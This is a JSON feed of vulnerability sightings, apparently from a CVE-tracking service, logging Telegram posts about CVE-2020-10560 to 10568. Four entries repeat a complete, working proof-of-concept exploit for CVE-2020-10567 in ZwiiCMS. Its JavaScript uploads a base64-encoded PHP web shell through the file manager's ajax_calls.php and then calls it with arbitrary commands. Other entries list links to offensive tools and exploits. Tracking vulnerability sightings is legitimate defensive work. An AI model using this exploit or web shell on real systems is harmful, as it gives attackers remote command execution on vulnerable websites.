{"vulnerability": "CVE-2020-1056", "sightings": [{"uuid": "9bfe525d-c671-43f2-8640-0093ca70a360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10568", "type": "seen", "source": "Telegram/ywSsfPjq9T-IlOeCablHYEWhip_YiBdBBMaFY0JXNY3xZ9Y", "content": "", "creation_timestamp": "2022-04-08T13:32:23.000000Z"}, {"uuid": "3867762d-c5bf-4fab-b6e9-0d38005d8b4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10560", "type": "published-proof-of-concept", "source": "https://t.me/canyoupwnme/6352", "content": "CVE-2020-10560 - OSSN Arbitrary File Read\nhttps://techanarchy.net/blog/cve-2020-10560-ossn-arbitrary-file-read", "creation_timestamp": "2020-03-31T12:58:04.000000Z"}, {"uuid": "0fd6fe90-60dc-4ef4-a939-1259a0dcf11d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10565", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/1609", "content": "#Research\n\"FreeBSD grub-bhyve bootloader virtual machine escapes (CVE-2020-10565/10566)\", 2020.\nhttps://github.com/renorobert/grub-bhyve-bugs", "creation_timestamp": "2020-12-21T03:22:31.000000Z"}, {"uuid": "fbc696d6-27d3-4680-9f7b-c8f96d0b763b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10560", "type": "seen", "source": "https://t.me/cibsecurity/10826", "content": "ATENTION\u203c New - CVE-2020-10560\n\nAn issue was discovered in Open Source Social Network (OSSN) through 5.3. A user-controlled file path with a weak cryptographic rand() can be used to read any file with the permissions of the webserver. This can lead to further compromise. The attacker must conduct a brute-force attack against the SiteKey to insert into a crafted URL for components/OssnComments/ossn_com.php and/or libraries/ossn.lib.upgrade.php.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-03-30T16:47:25.000000Z"}, {"uuid": "117fa664-415f-46d3-9025-5a3a0f645fa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10561", "type": "seen", "source": "https://t.me/cibsecurity/13019", "content": "ATENTION\u203c New - CVE-2020-10561\n\nAn issue was discovered on Xiaomi Mi Jia ink-jet printer < 3.4.6_0138. Injecting parameters to ippserver through the web management background, resulting in command execution vulnerabilities.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-06-25T07:55:25.000000Z"}, {"uuid": "7d336348-0abb-414d-9dad-bc1b65e7ea14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10567", "type": "seen", "source": "https://t.me/GithubRedTeam/87991", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2020-10567\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a PierreAdams\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 4  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-09 07:55:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRCE RESPONSIVE filemanager v.9.14.0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-12T11:00:03.845285Z"}, {"uuid": "3dad601e-a369-4a87-9433-8d01a9fca904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10567", "type": "seen", "source": "https://t.me/GithubRedTeam/87991", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2020-10567\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a PierreAdams\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 4  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-09 07:55:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRCE RESPONSIVE filemanager v.9.14.0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T00:00:45.540175Z"}, {"uuid": "bbea053f-0d0e-4a3d-9471-9f6b629d978e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10565", "type": "seen", "source": "https://t.me/cissp/1734", "content": "1. Using Kubelet Client to Attack the Kubernetes Cluster\nhttps://securityboulevard.com/2020/08/using-kubelet-client-to-attack-the-kubernetes-cluster/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SecurityBloggersNetwork+%28Security+Bloggers+Network%29\n\n2. How to Exfiltrate Internal Information Using Web Proxies McAfee, FortiGuard, Symantec\nhttps://sefod.eu/posts/web_proxies/\n\n3.DDoor - cross platform backdoor using dns txt records\nhttps://github.com/rek7/ddoor\n\n4.Unexpected Deserialization - JMS\nhttps://blog.silentsignal.eu/2020/08/17/unexpected-deserialization-pt-1-jms/\n\n5.Horde Groupware Webmail Trean_Queue_Task_Crawl url Deserialization of Unstrusted Data RCE Vulnerability (CVE-2020-8865/8866)\nhttps://srcincite.io/blog/2020/08/19/a-smorgashorde-of-vulnerabilities-a-comparative-analysis-of-discovery.html\nPoC Exploit:\nhttps://srcincite.io/pocs/zdi-20-1051.py.txt\n\n6.Breaking the Firmware of Samsung\u2019s NFC Chips, or turning your S8/S9/S10 into a DIY \u201cProxmark\u201d\nhttps://www.pentestpartners.com/security-blog/breaking-samsung-firmware-or-turning-your-s8-s9-s10-into-a-diy-proxmark/\nTools for exploiting, reverse engineering, and deploying firmware to the S3FWRN5 and S3NRN82 Samsung NFC Controllers:\nhttps://github.com/Iskuri/Samsung-NFC-Controller-Reverse-Engineering\n\n7.DHCP starvation attack without making any DHCP requests\nhttps://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9\n\n8.Threat Research:\nWindows .Net Core SDK Elevation of Privilege\nhttps://itm4n.github.io/dotnet-sdk-eop/\n\n9.CVE-2020-9036:\nJeedom home automation solution used in IoT (<=4.0.38) XSS leading to Remote Code Execution (PoC)\nhttps://sysdream.com/news/lab/2020-08-05-cve-2020-9036-jeedom-xss-leading-to-remote-code-execution/\n\n10.CVE-2020-8620:\nAn assertion failure exists within the Internet Systems Consortium's BIND server, versions 9.16.1 - 9.17.1 when processing TCP traffic via the libuv library (PoC)\nhttps://talosintelligence.com/vulnerability_reports/TALOS-2020-1100\n\n11.Introduction to Whiteboxes and Collision-Based Attacks With QBDI\nhttps://blog.quarkslab.com/introduction-to-whiteboxes-and-collision-based-attacks-with-qbdi.html\n\n12. Dynamic analysis of apps inside Android Cloning apps (PoC)\nhttps://darvincitech.wordpress.com/2020/07/18/all-your-crypto-keys-belongs-to-me-in-android-virtual-containers/amp/?__twitter_impression=true\n\n13.CVE-2020-10029:\nBuffer overflow in GNU libc trigonometry functions (PoC)\nhttps://securityboulevard.com/2020/08/cve-2020-10029-buffer-overflow-in-gnu-libc-trigonometry-functions/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SecurityBloggersNetwork+%28Security+Bloggers+Network%29\n\n14.Team TNT - The First Crypto-mining Worm to Steal AWS Credentials\ud83d\ude03\nhttps://www.cadosecurity.com/2020/08/17/teamtnt-the-first-crypto-mining-worm-to-steal-aws-credentials/\n\n15. Duri - HTML Smuggling Campaign\nhttps://www.menlosecurity.com/blog/new-attack-alert-duri\n\n16.\"FreeBSD grub-bhyve bootloader virtual machine escapes (CVE-2020-10565/10566)\"\nhttps://github.com/renorobert/grub-bhyve-bugs\n\n17.Threat research-Windows Print Spooler Patch Bypass Re-Enables Persistent Backdoor\nhttps://www.zerodayinitiative.com/blog/2020/8/11/windows-print-spooler-patch-bypass-re-enables-persistent-backdoor\n\n18.CVE-2020-15778:\nSCP in OpenSSH <=8.3p1 allows eval injection\n(Comand Injection/Eval injection) (PoC)\nhttps://github.com/cpandya2909/CVE-2020-15778\nA vulnerability in OpenSSH may affect IBM Spectrum Protect Plus 10.1.0-10.1.5...\nhttps://www.ibm.com/support/pages/node/6255652\n\n19.LSASS + Rootkit + TDI (PoC)\nhttps://zerosum0x0.blogspot.com/2020/08/sassykitdi-kernel-mode-tcp-sockets.html?m=1\n\n20.PowerSharpPack: usefull offensive CSharp Projects\nhttps://securityonline.info/powersharppack/", "creation_timestamp": "2026-09-01T17:01:10.747880Z"}, {"uuid": "956527d7-4f0b-4dd5-95be-359ae8f7ed81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10567", "type": "seen", "source": "https://t.me/hacking_Attack/93543", "content": "Exploit Collector\nZwiiCMS 12.2.04 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nZwiiCMS version 12.2.04 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | eb76d5e63d49a529d995356a055f296bd4746ac15c006561a9eaa8406810db0d\n\nDownload\n# Exploit Title: ZwiiCMS 12.2.04 Remote Code Execution (Authenticated) \n# Date: 03/06/2023\n# Exploit Author: Hadi Mene\n# Vendor Homepage: https://zwiicms.fr/\n# Version: 12.2.04 and potentially lower versions \n# CVE: CVE-2020-10567\n# Category: webapps\nZwiiCMS 12.2.04 uses \"Responible FileManager\" 9.14.0 for its file manager feature. ZwiiCMS is vulnerable to CVE-2020-10567 as it is possible for\nan authenticated user to use ajax_calls.php to upload a php file via a base64 encoded file and gain Remote Code Execution \ndue to a lack of extension check on the uploaded file.\n\nOriginal CVE author : hackoclipse\nhttps://github.com/trippo/ResponsiveFilemanager/issues/600\nVulnerable code (ajax_calls.php) :\n\n// there is no extension check on $_POST['name'] and the content of $_POST['url'] can be b64 decoded without being\nnecessarily an image\n\n81  case 'save_img':\n82      $info = pathinfo($_POST['name']);\n83  $image_data = $_POST['url'];\n84\n85  if (preg_match('/^data:image\\/(\\w+);base64,/', $image_data, $type)) {\n86       $image_data = substr($image_data, strpos($image_data, ',') + 1);\n87       $type = strtolower($type[1]); // jpg, png, gif\n88\n89       $image_data = base64_decode($image_data);\nPoC:\n\n1) Login in the Administration Panel. \n2) Click on the Folder icon on the top of the panel.\n3) Open the Developer Tools for that page.\n4) Copy,Edit and Execute the Javascript Code below .\n5) Access your PHP shell at http://ZWIICMS_URL/site/file/source/shell.php?cmd=COMMAND\n\nJavascript Code\n######\n\nfunction submitRequest()\n{\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"https:\\/\\/192.168.0.27\\/zwiicms\\/core\\/vendor\\/filemanager\\/ajax_calls.php?action=save_img\", true);\nxhr.setRequestHeader(\"Accept\", \"*\\/*\");\nxhr.setRequestHeader(\"Content-Type\", \"application\\/x-www-form-urlencoded; charset=UTF-8\");\nxhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.9\");\nxhr.withCredentials = true;\nvar body = \"url=data:image/jpeg;base64,PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==&path=&name=shell.php\";\nvar aBody = new Uint8Array(body.length);\nfor (var i = 0; i < aBody.length; i++)\naBody[i] = body.charCodeAt(i); \nxhr.send(new Blob([aBody]));\n}\nsubmitRequest();\n\n######\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:03.060154Z"}, {"uuid": "57235177-023f-4d50-a6f8-2d7c9d5e6224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10567", "type": "seen", "source": "https://t.me/hacking_Attack/93543", "content": "Exploit Collector\nZwiiCMS 12.2.04 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nZwiiCMS version 12.2.04 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | eb76d5e63d49a529d995356a055f296bd4746ac15c006561a9eaa8406810db0d\n\nDownload\n# Exploit Title: ZwiiCMS 12.2.04 Remote Code Execution (Authenticated) \n# Date: 03/06/2023\n# Exploit Author: Hadi Mene\n# Vendor Homepage: https://zwiicms.fr/\n# Version: 12.2.04 and potentially lower versions \n# CVE: CVE-2020-10567\n# Category: webapps\nZwiiCMS 12.2.04 uses \"Responible FileManager\" 9.14.0 for its file manager feature. ZwiiCMS is vulnerable to CVE-2020-10567 as it is possible for\nan authenticated user to use ajax_calls.php to upload a php file via a base64 encoded file and gain Remote Code Execution \ndue to a lack of extension check on the uploaded file.\n\nOriginal CVE author : hackoclipse\nhttps://github.com/trippo/ResponsiveFilemanager/issues/600\nVulnerable code (ajax_calls.php) :\n\n// there is no extension check on $_POST['name'] and the content of $_POST['url'] can be b64 decoded without being\nnecessarily an image\n\n81  case 'save_img':\n82      $info = pathinfo($_POST['name']);\n83  $image_data = $_POST['url'];\n84\n85  if (preg_match('/^data:image\\/(\\w+);base64,/', $image_data, $type)) {\n86       $image_data = substr($image_data, strpos($image_data, ',') + 1);\n87       $type = strtolower($type[1]); // jpg, png, gif\n88\n89       $image_data = base64_decode($image_data);\nPoC:\n\n1) Login in the Administration Panel. \n2) Click on the Folder icon on the top of the panel.\n3) Open the Developer Tools for that page.\n4) Copy,Edit and Execute the Javascript Code below .\n5) Access your PHP shell at http://ZWIICMS_URL/site/file/source/shell.php?cmd=COMMAND\n\nJavascript Code\n######\n\nfunction submitRequest()\n{\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"https:\\/\\/192.168.0.27\\/zwiicms\\/core\\/vendor\\/filemanager\\/ajax_calls.php?action=save_img\", true);\nxhr.setRequestHeader(\"Accept\", \"*\\/*\");\nxhr.setRequestHeader(\"Content-Type\", \"application\\/x-www-form-urlencoded; charset=UTF-8\");\nxhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.9\");\nxhr.withCredentials = true;\nvar body = \"url=data:image/jpeg;base64,PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==&path=&name=shell.php\";\nvar aBody = new Uint8Array(body.length);\nfor (var i = 0; i < aBody.length; i++)\naBody[i] = body.charCodeAt(i); \nxhr.send(new Blob([aBody]));\n}\nsubmitRequest();\n\n######\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:22.903683Z"}, {"uuid": "5c5fbd9e-4704-4530-8f28-ef3fe7d03fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10565", "type": "seen", "source": "https://t.me/cissp/1734", "content": "1. Using Kubelet Client to Attack the Kubernetes Cluster\nhttps://securityboulevard.com/2020/08/using-kubelet-client-to-attack-the-kubernetes-cluster/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SecurityBloggersNetwork+%28Security+Bloggers+Network%29\n\n2. How to Exfiltrate Internal Information Using Web Proxies McAfee, FortiGuard, Symantec\nhttps://sefod.eu/posts/web_proxies/\n\n3.DDoor - cross platform backdoor using dns txt records\nhttps://github.com/rek7/ddoor\n\n4.Unexpected Deserialization - JMS\nhttps://blog.silentsignal.eu/2020/08/17/unexpected-deserialization-pt-1-jms/\n\n5.Horde Groupware Webmail Trean_Queue_Task_Crawl url Deserialization of Unstrusted Data RCE Vulnerability (CVE-2020-8865/8866)\nhttps://srcincite.io/blog/2020/08/19/a-smorgashorde-of-vulnerabilities-a-comparative-analysis-of-discovery.html\nPoC Exploit:\nhttps://srcincite.io/pocs/zdi-20-1051.py.txt\n\n6.Breaking the Firmware of Samsung\u2019s NFC Chips, or turning your S8/S9/S10 into a DIY \u201cProxmark\u201d\nhttps://www.pentestpartners.com/security-blog/breaking-samsung-firmware-or-turning-your-s8-s9-s10-into-a-diy-proxmark/\nTools for exploiting, reverse engineering, and deploying firmware to the S3FWRN5 and S3NRN82 Samsung NFC Controllers:\nhttps://github.com/Iskuri/Samsung-NFC-Controller-Reverse-Engineering\n\n7.DHCP starvation attack without making any DHCP requests\nhttps://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9\n\n8.Threat Research:\nWindows .Net Core SDK Elevation of Privilege\nhttps://itm4n.github.io/dotnet-sdk-eop/\n\n9.CVE-2020-9036:\nJeedom home automation solution used in IoT (<=4.0.38) XSS leading to Remote Code Execution (PoC)\nhttps://sysdream.com/news/lab/2020-08-05-cve-2020-9036-jeedom-xss-leading-to-remote-code-execution/\n\n10.CVE-2020-8620:\nAn assertion failure exists within the Internet Systems Consortium's BIND server, versions 9.16.1 - 9.17.1 when processing TCP traffic via the libuv library (PoC)\nhttps://talosintelligence.com/vulnerability_reports/TALOS-2020-1100\n\n11.Introduction to Whiteboxes and Collision-Based Attacks With QBDI\nhttps://blog.quarkslab.com/introduction-to-whiteboxes-and-collision-based-attacks-with-qbdi.html\n\n12. Dynamic analysis of apps inside Android Cloning apps (PoC)\nhttps://darvincitech.wordpress.com/2020/07/18/all-your-crypto-keys-belongs-to-me-in-android-virtual-containers/amp/?__twitter_impression=true\n\n13.CVE-2020-10029:\nBuffer overflow in GNU libc trigonometry functions (PoC)\nhttps://securityboulevard.com/2020/08/cve-2020-10029-buffer-overflow-in-gnu-libc-trigonometry-functions/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SecurityBloggersNetwork+%28Security+Bloggers+Network%29\n\n14.Team TNT - The First Crypto-mining Worm to Steal AWS Credentials\ud83d\ude03\nhttps://www.cadosecurity.com/2020/08/17/teamtnt-the-first-crypto-mining-worm-to-steal-aws-credentials/\n\n15. Duri - HTML Smuggling Campaign\nhttps://www.menlosecurity.com/blog/new-attack-alert-duri\n\n16.\"FreeBSD grub-bhyve bootloader virtual machine escapes (CVE-2020-10565/10566)\"\nhttps://github.com/renorobert/grub-bhyve-bugs\n\n17.Threat research-Windows Print Spooler Patch Bypass Re-Enables Persistent Backdoor\nhttps://www.zerodayinitiative.com/blog/2020/8/11/windows-print-spooler-patch-bypass-re-enables-persistent-backdoor\n\n18.CVE-2020-15778:\nSCP in OpenSSH <=8.3p1 allows eval injection\n(Comand Injection/Eval injection) (PoC)\nhttps://github.com/cpandya2909/CVE-2020-15778\nA vulnerability in OpenSSH may affect IBM Spectrum Protect Plus 10.1.0-10.1.5...\nhttps://www.ibm.com/support/pages/node/6255652\n\n19.LSASS + Rootkit + TDI (PoC)\nhttps://zerosum0x0.blogspot.com/2020/08/sassykitdi-kernel-mode-tcp-sockets.html?m=1\n\n20.PowerSharpPack: usefull offensive CSharp Projects\nhttps://securityonline.info/powersharppack/", "creation_timestamp": "2026-09-02T01:05:00.709249Z"}, {"uuid": "95a379ff-8ed8-4ebb-bd6e-c300cc98925b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10567", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93543", "content": "Exploit Collector\nZwiiCMS 12.2.04 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nZwiiCMS version 12.2.04 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | eb76d5e63d49a529d995356a055f296bd4746ac15c006561a9eaa8406810db0d\n\nDownload\n# Exploit Title: ZwiiCMS 12.2.04 Remote Code Execution (Authenticated) \n# Date: 03/06/2023\n# Exploit Author: Hadi Mene\n# Vendor Homepage: https://zwiicms.fr/\n# Version: 12.2.04 and potentially lower versions \n# CVE: CVE-2020-10567\n# Category: webapps\nZwiiCMS 12.2.04 uses \"Responible FileManager\" 9.14.0 for its file manager feature. ZwiiCMS is vulnerable to CVE-2020-10567 as it is possible for\nan authenticated user to use ajax_calls.php to upload a php file via a base64 encoded file and gain Remote Code Execution \ndue to a lack of extension check on the uploaded file.\n\nOriginal CVE author : hackoclipse\nhttps://github.com/trippo/ResponsiveFilemanager/issues/600\nVulnerable code (ajax_calls.php) :\n\n// there is no extension check on $_POST['name'] and the content of $_POST['url'] can be b64 decoded without being\nnecessarily an image\n\n81  case 'save_img':\n82      $info = pathinfo($_POST['name']);\n83  $image_data = $_POST['url'];\n84\n85  if (preg_match('/^data:image\\/(\\w+);base64,/', $image_data, $type)) {\n86       $image_data = substr($image_data, strpos($image_data, ',') + 1);\n87       $type = strtolower($type[1]); // jpg, png, gif\n88\n89       $image_data = base64_decode($image_data);\nPoC:\n\n1) Login in the Administration Panel. \n2) Click on the Folder icon on the top of the panel.\n3) Open the Developer Tools for that page.\n4) Copy,Edit and Execute the Javascript Code below .\n5) Access your PHP shell at http://ZWIICMS_URL/site/file/source/shell.php?cmd=COMMAND\n\nJavascript Code\n######\n\nfunction submitRequest()\n{\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"https:\\/\\/192.168.0.27\\/zwiicms\\/core\\/vendor\\/filemanager\\/ajax_calls.php?action=save_img\", true);\nxhr.setRequestHeader(\"Accept\", \"*\\/*\");\nxhr.setRequestHeader(\"Content-Type\", \"application\\/x-www-form-urlencoded; charset=UTF-8\");\nxhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.9\");\nxhr.withCredentials = true;\nvar body = \"url=data:image/jpeg;base64,PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==&path=&name=shell.php\";\nvar aBody = new Uint8Array(body.length);\nfor (var i = 0; i < aBody.length; i++)\naBody[i] = body.charCodeAt(i); \nxhr.send(new Blob([aBody]));\n}\nsubmitRequest();\n\n######\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-04T20:00:05.257508Z"}, {"uuid": "f0a3ccc4-f5c5-4f9d-a8b4-bea228bbfdb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-10567", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93543", "content": "Exploit Collector\nZwiiCMS 12.2.04 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nZwiiCMS version 12.2.04 suffers from an authenticated remote code execution vulnerability.\n\nSHA-256 | eb76d5e63d49a529d995356a055f296bd4746ac15c006561a9eaa8406810db0d\n\nDownload\n# Exploit Title: ZwiiCMS 12.2.04 Remote Code Execution (Authenticated) \n# Date: 03/06/2023\n# Exploit Author: Hadi Mene\n# Vendor Homepage: https://zwiicms.fr/\n# Version: 12.2.04 and potentially lower versions \n# CVE: CVE-2020-10567\n# Category: webapps\nZwiiCMS 12.2.04 uses \"Responible FileManager\" 9.14.0 for its file manager feature. ZwiiCMS is vulnerable to CVE-2020-10567 as it is possible for\nan authenticated user to use ajax_calls.php to upload a php file via a base64 encoded file and gain Remote Code Execution \ndue to a lack of extension check on the uploaded file.\n\nOriginal CVE author : hackoclipse\nhttps://github.com/trippo/ResponsiveFilemanager/issues/600\nVulnerable code (ajax_calls.php) :\n\n// there is no extension check on $_POST['name'] and the content of $_POST['url'] can be b64 decoded without being\nnecessarily an image\n\n81  case 'save_img':\n82      $info = pathinfo($_POST['name']);\n83  $image_data = $_POST['url'];\n84\n85  if (preg_match('/^data:image\\/(\\w+);base64,/', $image_data, $type)) {\n86       $image_data = substr($image_data, strpos($image_data, ',') + 1);\n87       $type = strtolower($type[1]); // jpg, png, gif\n88\n89       $image_data = base64_decode($image_data);\nPoC:\n\n1) Login in the Administration Panel. \n2) Click on the Folder icon on the top of the panel.\n3) Open the Developer Tools for that page.\n4) Copy,Edit and Execute the Javascript Code below .\n5) Access your PHP shell at http://ZWIICMS_URL/site/file/source/shell.php?cmd=COMMAND\n\nJavascript Code\n######\n\nfunction submitRequest()\n{\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", \"https:\\/\\/192.168.0.27\\/zwiicms\\/core\\/vendor\\/filemanager\\/ajax_calls.php?action=save_img\", true);\nxhr.setRequestHeader(\"Accept\", \"*\\/*\");\nxhr.setRequestHeader(\"Content-Type\", \"application\\/x-www-form-urlencoded; charset=UTF-8\");\nxhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.9\");\nxhr.withCredentials = true;\nvar body = \"url=data:image/jpeg;base64,PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pg==&path=&name=shell.php\";\nvar aBody = new Uint8Array(body.length);\nfor (var i = 0; i < aBody.length; i++)\naBody[i] = body.charCodeAt(i); \nxhr.send(new Blob([aBody]));\n}\nsubmitRequest();\n\n######\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-05T01:00:17.756174Z"}]}